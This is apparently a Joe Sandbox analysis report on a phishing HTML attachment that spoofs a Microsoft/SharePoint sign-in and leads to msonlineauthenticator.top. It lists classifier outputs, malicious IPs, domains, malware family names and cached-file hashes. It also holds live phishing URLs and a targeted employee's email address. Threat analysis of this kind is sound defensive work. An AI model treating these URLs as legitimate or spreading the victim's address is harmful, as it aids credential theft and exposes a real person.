Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, time.windows.com, a1894.dscb.akamai.net, clients2.google.com, login.live.com, update.googleapis.com, optimizationguide-pa.googleapis.com, clients1.google.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Technical Details & Profile Illustrations for This#U00a0Drygair.html

Input	Output
URL: https://msonlineauthenticator.top Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://msonlineauthenticator.top
URL: :// Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: ://
URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Download", "prominent_button_name": "Download All", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Download", "prominent_button_name": "Download All", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sorry, your sign-in timed out, Please sign in again.", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sorry, your sign-in timed out, Please sign in again.", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Technical%20Details%20&%20%20Profile%20Illustrations%20for%20This%23U00a0Drygair.html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "cesar.lopez@royalbrinkman.com" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'login.msonlineauthenticator.top' does not match the legitimate domain 'microsoft.com'.", "The domain uses 'msonlineauthenticator.top', which is not a recognized Microsoft domain and includes suspicious elements such as 'authenticator' and the unusual '.top' extension.", "The presence of 'msonline' in the domain could be an attempt to mimic Microsoft's legitimate services like 'msn.com' or 'microsoftonline.com'.", "The use of a top-level domain '.top' is unusual for a well-known brand like Microsoft, which typically uses '.com'.", "The email domain 'royalbrinkman.com' does not match the brand 'Microsoft', which could indicate a phishing attempt targeting users of a specific organization." ], "riskscore": 9} Google indexed: False
URL: login.msonlineauthenticator.top Brands: Microsoft Input Fields: cesar.lopez@royalbrinkman.com
URL: Webpage/Document Model: Joe Sandbox AI	{"classification":"Corporate Data Theft"}
	{"classification":"Corporate Data Theft"}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	https://reauth.oceanagolds.com	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse
	https://ch.bing.com/ck/a?!&&p=de01397e8e89421aJmltdHM9MTY5ODcxMDQwMCZpZ3VpZD0yNTA1NWYyZi1hMDEzLTY3ZTQtMmY0Yy00Yzk0YTEwMTY2MGYmaW5zaWQ9NTE3Nw&ptn=3&ver=2&hsh=3&fclid=25055f2f-a013-67e4-2f4c-4c94a101660f&u=a1aHR0cHM6Ly9mY2Z0YS5jb20vZW5zLw#Ym93ZW4uemhlbmdAb2FrbGV5Y2FwaXRhbC5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://oce.dzpvwobr.ru/vGysgPt/	Get hash	malicious	Unknown	Browse
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse
151.101.193.229	https://taxjusticeafrica.net/resources/blog/lopsided-global-financial-system-leaves-many-african-states-debt-distress	Get hash	malicious	Unknown	Browse
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse
	http://www.kalenderpedia.de	Get hash	malicious	Unknown	Browse
	http://ppc-overwatch.com	Get hash	malicious	Unknown	Browse
	https://365214tesauppeortbasd132.z26.web.core.windows.net/#	Get hash	malicious	TechSupportScam	Browse
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse
	https://files-pdf-73j.pages.dev/?e=info@camida.com	Get hash	malicious	Unknown	Browse
	https://www.google.es/url?q=queryrp18(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fpreview.adope.jp%2fod%2f8gqnmo6zgfuuc6sej4k7rfdswihr8l%2fZnJhbnMuZW5nZWxicmVjaHRAYXJkYWdoZ3JvdXAuY29t$?	Get hash	malicious	Unknown	Browse
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse
	https://bbva-es.ayuda-acceso.com	Get hash	malicious	Unknown	Browse
151.101.129.229	http://valleyprohealth.org	Get hash	malicious	Unknown	Browse	cdn.jsdelivr.net/jquery.slick/1.5.1/slick-theme.css
34.117.59.81	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	YjcgpfVBcm.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	lePDF.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	6Mpsoq1.php.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	Pe4905VGl1.bat	Get hash	malicious	AsyncRAT	Browse	34.117.59.81
	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	y.bat	Get hash	malicious	Braodo	Browse	34.117.59.81
	https://fxwf9-53194.portmap.io:53194/?x=sb232111	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://trimmer.to:443/GWHMY	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	bose18mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	hnbose1711.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
jsdelivr.map.fastly.net	https://taxjusticeafrica.net/resources/blog/lopsided-global-financial-system-leaves-many-african-states-debt-distress	Get hash	malicious	Unknown	Browse	151.101.193.229
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	151.101.65.229
	http://www.kalenderpedia.de	Get hash	malicious	Unknown	Browse	151.101.193.229
	http://ppc-overwatch.com	Get hash	malicious	Unknown	Browse	151.101.193.229
	http://mike@mikestavlund.com	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://365214tesauppeortbasd132.z26.web.core.windows.net/#	Get hash	malicious	TechSupportScam	Browse	151.101.193.229
	http://nemoinsure.com	Get hash	malicious	Unknown	Browse	151.101.1.229
	ACH-information-Ag.pdf.html	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
	https://momentum-energy-4688.my.salesforce-sites.com/support	Get hash	malicious	Unknown	Browse	151.101.193.229
	http://mt6j71.p1keesoulharmony.com/	Get hash	malicious	HTMLPhisher, EvilProxy	Browse	151.101.1.229
sni1gl.wpc.omegacdn.net	https://reauth.oceanagolds.com	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse	152.199.21.175
	https://ch.bing.com/ck/a?!&&p=de01397e8e89421aJmltdHM9MTY5ODcxMDQwMCZpZ3VpZD0yNTA1NWYyZi1hMDEzLTY3ZTQtMmY0Yy00Yzk0YTEwMTY2MGYmaW5zaWQ9NTE3Nw&ptn=3&ver=2&hsh=3&fclid=25055f2f-a013-67e4-2f4c-4c94a101660f&u=a1aHR0cHM6Ly9mY2Z0YS5jb20vZW5zLw#Ym93ZW4uemhlbmdAb2FrbGV5Y2FwaXRhbC5jb20=	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://oce.dzpvwobr.ru/vGysgPt/	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://myworkspaceb7705.myclickfunnels.com/ville-de-rouyn-noranda	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	152.199.21.175
	https://tmacog-my.sharepoint.com/:f:/g/personal/bechsteinm_tmacog_org/EhlK4Xsd02RCkKBp5naSkjkBOE0y5JIGJchJIGq_xqq50Q?e=5%3abaznzS&at=9&xsdata=MDV8MDJ8Ymhvb3BlckBiZ3N1LmVkdXwxYTg0MTFlMjdjMzQ0NWU4MTcwZjA4ZGQwZDZiOGQzM3xjZGNiNzI5ZDUxMDY0ZDdjYjc1YmEzMGM0NTVkNWIwYXwwfDB8NjM4NjgxNDc3ODAwNDk3OTg2fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=VldHeThDNE1GNDFhUVA3VUJFZzEwL2JHVDN6U1BIcVM3bzE4cklKOGVJbz0%3d&clickparams=eyAiWC1BcHBOYW1lIiA6ICJNaWNyb3NvZnQgT3V0bG9vayIsICJYLUFwcFZlcnNpb24iIDogIjE2LjAuMTczMjguMjA2MTIiLCAiT1MiIDogIldpbmRvd3MiIH0%3D	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	152.199.21.175
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	https://ch.bing.com/ck/a?!&&p=de01397e8e89421aJmltdHM9MTY5ODcxMDQwMCZpZ3VpZD0yNTA1NWYyZi1hMDEzLTY3ZTQtMmY0Yy00Yzk0YTEwMTY2MGYmaW5zaWQ9NTE3Nw&ptn=3&ver=2&hsh=3&fclid=25055f2f-a013-67e4-2f4c-4c94a101660f&u=a1aHR0cHM6Ly9mY2Z0YS5jb20vZW5zLw#Ym93ZW4uemhlbmdAb2FrbGV5Y2FwaXRhbC5jb20=	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	gr5zS9wytq.bat	Get hash	malicious	Unknown	Browse	185.199.111.133
	gr5zS9wytq.bat	Get hash	malicious	Unknown	Browse	185.199.110.133
	based.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse	185.199.110.133
	https://oce.dzpvwobr.ru/vGysgPt/	Get hash	malicious	Unknown	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
MICROSOFT-CORP-MSN-AS-BLOCKUS	test11.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test19.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test14.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test22.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test16.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test9.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test_again2.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test_again3.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test8.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
	test23.exe	Get hash	malicious	CobaltStrike	Browse	20.83.148.22
FASTLYUS	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	https://ch.bing.com/ck/a?!&&p=de01397e8e89421aJmltdHM9MTY5ODcxMDQwMCZpZ3VpZD0yNTA1NWYyZi1hMDEzLTY3ZTQtMmY0Yy00Yzk0YTEwMTY2MGYmaW5zaWQ9NTE3Nw&ptn=3&ver=2&hsh=3&fclid=25055f2f-a013-67e4-2f4c-4c94a101660f&u=a1aHR0cHM6Ly9mY2Z0YS5jb20vZW5zLw#Ym93ZW4uemhlbmdAb2FrbGV5Y2FwaXRhbC5jb20=	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	gr5zS9wytq.bat	Get hash	malicious	Unknown	Browse	185.199.111.133
	gr5zS9wytq.bat	Get hash	malicious	Unknown	Browse	185.199.110.133
	based.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse	185.199.110.133
	https://oce.dzpvwobr.ru/vGysgPt/	Get hash	malicious	Unknown	Browse	151.101.2.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
AMAZON-AESUS	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	54.17.151.136
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	34.225.176.94
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	3.217.99.99
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	23.20.181.132
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	54.136.159.35
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	100.25.184.133
	https://taxjusticeafrica.net/resources/blog/lopsided-global-financial-system-leaves-many-african-states-debt-distress	Get hash	malicious	Unknown	Browse	3.5.24.58
	D2pQ4J4GGZ.exe	Get hash	malicious	Remcos, DBatLoader	Browse	3.5.29.78
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	44.221.84.105
	fbot.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	54.7.75.208

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	A3dN9SkGgp.exe	Get hash	malicious	Heda	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	https://reauth.oceanagolds.com	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	https://ch.bing.com/ck/a?!&&p=de01397e8e89421aJmltdHM9MTY5ODcxMDQwMCZpZ3VpZD0yNTA1NWYyZi1hMDEzLTY3ZTQtMmY0Yy00Yzk0YTEwMTY2MGYmaW5zaWQ9NTE3Nw&ptn=3&ver=2&hsh=3&fclid=25055f2f-a013-67e4-2f4c-4c94a101660f&u=a1aHR0cHM6Ly9mY2Z0YS5jb20vZW5zLw#Ym93ZW4uemhlbmdAb2FrbGV5Y2FwaXRhbC5jb20=	Get hash	malicious	HTMLPhisher	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	hTtP://w0.pM:8080/	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	https://oce.dzpvwobr.ru/vGysgPt/	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	valid.sh.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	https://www.tuseguro.com/10494737544205	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109
	https://taxjusticeafrica.net/resources/blog/lopsided-global-financial-system-leaves-many-african-states-debt-distress	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 184.30.24.109

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60356)
Category:	dropped
Size (bytes):	60635
Entropy (8bit):	5.158710529058039
Encrypted:	false
SSDEEP:	768:WkN++EvGHWyOOY/uwAxOlU5iBNY5XPxyvTPBVRKwi/C9rfz7uxk6yH8Xae53XC7e:W0xY+t/Nhho1d76KV2O9Ed
MD5:	4800BCC26467D999F49B472F02906B8D
SHA1:	2C6C0A58345A09D3761230AF823A4E4852B12643
SHA-256:	DE040986D9A3ED89D5D5F9AD6D5727015E9E238C2CD13AF8F1B55909386D0864
SHA-512:	CA4675410AF4272FF8664BCABAA5A7E2217796A3D9CA28FD891BFAB06A8B45D4CF918EBD617EBEEF0BD51A6B1D05B8887CDFFC39DB08EC70018EF12893A668A5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/!. Bootstrap v5.3.3 (https://getbootstrap.com/). * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e(t.Popper)}(this,(function(t){"use strict";function e(t){const e=Object.create(null,{[Symbol.toStringTag]:{value:"Module"}});if(t)for(const i in t)if("default"!==i){const s=Object.getOwnPropertyDescriptor(t,i);Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=>t[i]})}return e.default=t,Object.freeze(e)}const i=e(t),s=new Map,n={set(t,e,i){s.has(t)\|\|s.set(t,new Map);const n=s.get(t);n.has(e)\|\|0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Arr

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116365
Entropy (8bit):	7.997737813291819
Encrypted:	true
SSDEEP:	1536:9IyZY3F6VvgB9lnrhw1h+WbhcNtrpUzwXkqGeKTgcao2AYvXMpclkcKAXWG8NYh:9BZ5hu91Nwz+trpGmkReMgcaQYXlkcjR
MD5:	2D3FBED6DDD719FCC1BFB500B612FCEC
SHA1:	CD91B795DDE806AC8A38E51CCB6E8BAD8E57DA1B
SHA-256:	B2566B646F02DF4CE30B05D8223B78130A719D4EC9E4794A0106C371ADE33CC7
SHA-512:	A870E514B325D6FDC4D154438A8DD333C7AB46E545C1B27AC4869D9F1D8594CA1CDC530F5E96C835220DDAD4E1CEF841673696978031B5237E783972AEE701D1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...........k[.H.(.}..[..-..c.0DFxHBz.I......O.a...#yt......k...J..&...........^.~...._..j...W;.8<.....]....m...~.}<.8~s.~=.(....qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...Z-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..n.w6.%^M.d.;...~2I.Z..fs...S/......F..=?...5....s..N.+.A.mx...j.T......?..W._p6.\|.}\|.{O.....2..`..._......g....j..xb^^...a.y.....s......4....q.Y..^T....X,.....m..~v,.....WP.U...:O".YoRX...7..S...zI.v.......mq.....E.,z.%....L\|.>.M.'i..ki3.u+.~...x.=...?6.%?.[.G.`Z=.$.w..4.."...R.1.k.\|..N.`......3...7.].'.E..).az......<a....4q..6.(..=~..........frk..?M#^Q.z..A..M.f.......S....s..d.e91._,zO.[X.......4.G..!.9Vg.......j.-?~.z.w..f.M............,...Z....w5..#.^..M.P.'.X.n/..mW.\|......0...w../...>\...l.......h...q>.w...FC[....7.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1442), with no line terminators
Category:	downloaded
Size (bytes):	1442
Entropy (8bit):	4.842129209307725
Encrypted:	false
SSDEEP:	24:7IVRgZKWcOcVRgcWcOXVXRiPcOIXRGcOiS2RR3bcOx2RVbcOW9eURim3cOGeUR9u:cVaYLVaoUvBvq2DAA2HAyUTsoUTs5CVI
MD5:	EB8D2A3A3B6018D6B4551C0FC6897DF5
SHA1:	C30AB733EAD1B5A3F97CED822CE1AAEC9C88B4E6
SHA-256:	F370D29D74C62F317C188A6285FF97DC6EAEE01E24F515D16210B12FBE8D7888
SHA-512:	3FD082C553E1898D5A3B2484EF6AEBBF4F50573D33D5585132CE4C298E1BAA392C4F4D5C0F7BA9AF9C806A97E57B6819D123A268B7AD82960E3EECD676BAE832
Malicious:	false
Reputation:	low
URL:	https://autenticatorresolver.online/assets/global/pdf/css/conf.css
